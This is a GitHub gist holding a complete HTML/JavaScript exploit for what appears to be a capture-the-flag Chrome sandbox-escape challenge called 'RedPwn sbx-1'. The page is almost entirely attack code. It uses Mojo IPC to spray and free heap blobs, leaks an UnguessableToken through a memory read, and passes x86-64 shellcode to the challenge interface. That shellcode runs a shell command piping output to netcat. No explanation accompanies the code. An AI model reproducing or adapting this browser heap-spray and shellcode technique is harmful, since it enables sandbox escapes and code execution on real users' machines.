Created
July 10, 2021 13:02
-
-
Save hkraw/07fea48adf2ad4978dbf3b498ab05dff to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<title>RedPwn sbx-1</title> | |
</head> | |
<body> | |
<h1>:thonk:</h1> | |
<pre id='log'></pre> | |
</body> | |
<script src='./mojo_bindings.js'></script> | |
<script src='./third_party/blink/public/mojom/desert.mojom.js'></script> | |
<script src='./mojo/public/mojom/base/unguessable_token.mojom.js'></script> | |
<script src='./mojo/public/mojom/base/big_buffer.mojom.js'></script> | |
<script src="./third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script> | |
<script> | |
function getAllocationConstructor() { | |
let blob_registry_ptr = new blink.mojom.BlobRegistryPtr(); | |
Mojo.bindInterface(blink.mojom.BlobRegistry.name, | |
mojo.makeRequest(blob_registry_ptr).handle, "process", true); | |
function Allocation(size=280) { | |
function ProgressClient(allocate) { | |
function ProgressClientImpl() {} | |
ProgressClientImpl.prototype = { | |
onProgress: async (arg0) => { | |
if (this.allocate.writePromise) { | |
this.allocate.writePromise.resolve(arg0); | |
} | |
} | |
}; | |
this.allocate = allocate; | |
this.ptr = new mojo.AssociatedInterfacePtrInfo(); | |
var progress_client_req = mojo.makeRequest(this.ptr); | |
this.binding = new mojo.AssociatedBinding( | |
blink.mojom.ProgressClient, | |
new ProgressClientImpl(), | |
progress_client_req | |
); | |
return this; | |
} | |
this.pipe = Mojo.createDataPipe({elementNumBytes: size, capacityNumBytes: size}); | |
this.progressClient = new ProgressClient(this); | |
blob_registry_ptr.registerFromStream("", "", size, | |
this.pipe.consumer, | |
this.progressClient.ptr).then((res) => { | |
this.serialized_blob = res.blob; | |
}) | |
this.malloc = async function(data) { | |
promise = new Promise((resolve, reject) => { | |
this.writePromise = {resolve: resolve, reject: reject}; | |
}); | |
this.pipe.producer.writeData(data); | |
this.pipe.producer.close(); | |
written = await promise; | |
console.assert(written == data.byteLength); | |
} | |
this.free = async function() { | |
this.serialized_blob.blob.ptr.reset(); | |
await new Promise(resolve=>setTimeout(resolve, 100)); | |
} | |
this.read = function(offset, length) { | |
this.readpipe = Mojo.createDataPipe({elementNumBytes: 1, capacityNumBytes: length}); | |
this.serialized_blob.blob.readRange(offset, length, this.readpipe.producer, null); | |
return new Promise((resolve) => { | |
this.watcher = this.readpipe.consumer.watch({readable: true}, (r) => { | |
result = new ArrayBuffer(length); | |
this.readpipe.consumer.readData(result); | |
this.watcher.cancel(); | |
resolve(result); | |
})}); | |
} | |
this.readQword = async function(offset) { | |
let res = await this.read(offset, 8); | |
return (new DataView(res)).getBigUint64(0, true); | |
} | |
return this; | |
} | |
async function allocate(data) { | |
let allocation = new Allocation(data.byteLength); | |
await allocation.malloc(data); | |
return allocation; | |
} | |
return allocate; | |
} | |
async function heapSpray(allocator, data, size) { | |
return Promise.all( | |
Array(size).fill().map( | |
() => allocator(data) | |
)); | |
} | |
</script> | |
<script> | |
(async()=>{ | |
const k_OzymandiasPtrSize = 0x100 | |
let allocator = getAllocationConstructor() | |
var blob = new Uint8Array(k_OzymandiasPtrSize).fill(0x41414141) | |
var spray_chunks = await heapSpray(allocator, blob, 0x100) | |
await new Promise(resolve=>setTimeout(resolve, 1000)) | |
console.log("Spray Blob Done") | |
for(var i = 0x50; i < 0x100; i++) { | |
spray_chunks[i].free() | |
} | |
await new Promise(resolve=>setTimeout(resolve, 4000)) | |
console.log("Free 1") | |
let target = new blink.mojom.OzymandiasPtr() | |
Mojo.bindInterface(blink.mojom.Ozymandias.name, | |
mojo.makeRequest(target).handle) | |
let ptrs = new Array() | |
for(var i = 0; i < 0x100; i++) { | |
ptrs.push(new blink.mojom.OzymandiasPtr()) | |
Mojo.bindInterface(blink.mojom.Ozymandias.name, | |
mojo.makeRequest(ptrs[i]).handle) | |
} | |
let buffer = new mojoBase.mojom.BigBuffer() | |
buffer.bytes = new Uint8Array(0x100).fill(0x41414141) | |
let wreck = new Array() | |
wreck.push( | |
new blink.mojom.Wreck({size:0x100, | |
lengthToUse:0x5000, data:buffer, | |
type:0x7331}) | |
) | |
let sand = new blink.mojom.Sand({wrecks:wreck}) | |
for(var i = 0x20; i < 0x50; i++) { | |
spray_chunks[i].free() | |
} | |
await new Promise(resolve=>setTimeout(resolve, 3000)) | |
console.log("Free 2") | |
var conv_ab = new ArrayBuffer(0x5000) | |
var u8 = new Uint8Array(conv_ab) | |
var u32 = new Uint32Array(conv_ab) | |
var leaks = ((await target.despair(sand)).decay)[0].bytes | |
for(var i = 0; i < leaks.length; i++) { | |
u8[i] = leaks[i] | |
} | |
var token_leaks = new Uint32Array(4).fill(0x41414141) | |
for(var i = 0; i < u32.length; i++) { | |
if((u32[i]&0xfff) == 0xc50) { | |
token_leaks[0] = u32[i+4] | |
token_leaks[1] = u32[i+5] | |
token_leaks[2] = u32[i+6] | |
token_leaks[3] = u32[i+7] | |
break | |
} | |
} | |
var shellcode = new Uint8Array([ | |
0x48,0xb8,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x50,0x48,0xb8,0x2e,0x63, | |
0x68,0x6f,0x2e,0x72,0x69,0x1,0x48,0x31,0x4,0x24,0x48,0x89,0xe7,0x68, | |
0x31,0x33,0x33,0x37,0x48,0xb8,0x61,0x6c,0x68,0x6f,0x73,0x74,0x20,0x33, | |
0x50,0x48,0xb8,0x7c,0x20,0x6e,0x63,0x20,0x6c,0x6f,0x63,0x50,0x48,0xb8, | |
0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x50,0x48,0xb8,0x2c,0x62,0x1,0x6d,0x72, | |
0x21,0x2e,0x21,0x48,0x31,0x4,0x24,0x48,0xb8,0x1,0x1,0x1,0x1,0x1,0x1,0x1, | |
0x1,0x50,0x48,0xb8,0x2e,0x63,0x68,0x6f,0x2e,0x72,0x69,0x1,0x48,0x31,0x4, | |
0x24,0x31,0xf6,0x56,0x6a,0x13,0x5e,0x48,0x1,0xe6,0x56,0x6a,0x18,0x5e,0x48, | |
0x1,0xe6,0x56,0x6a,0x18,0x5e,0x48,0x1,0xe6,0x56,0x48,0x89,0xe6,0x6a,0x1, | |
0xfe,0xc,0x24,0x31,0xd2,0x52,0x48,0x89,0xe2,0x6a,0x3b,0x58,0xf,0x5,0xc3 | |
]) | |
if(token_leaks[0]!=0x41414141) { | |
console.log("leaked token") | |
var token_mojom = new mojoBase.mojom.UnguessableToken() | |
token_mojom.high = (BigInt(token_leaks[1]) << 32n) + BigInt(token_leaks[0]) | |
token_mojom.low = (BigInt(token_leaks[3]) << 32n) + BigInt(token_leaks[2]) | |
console.log(token_mojom.low.toString(16)) | |
console.log(token_mojom.high.toString(16)) | |
for(var i = 0; i < ptrs.length; i++) { | |
try { | |
await ptrs[i].visage(shellcode,token_mojom) | |
} catch(e) { | |
console.log(e) | |
} | |
} | |
} else { | |
console.log("Failed") | |
location.reload() | |
} | |
})() | |
</script> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment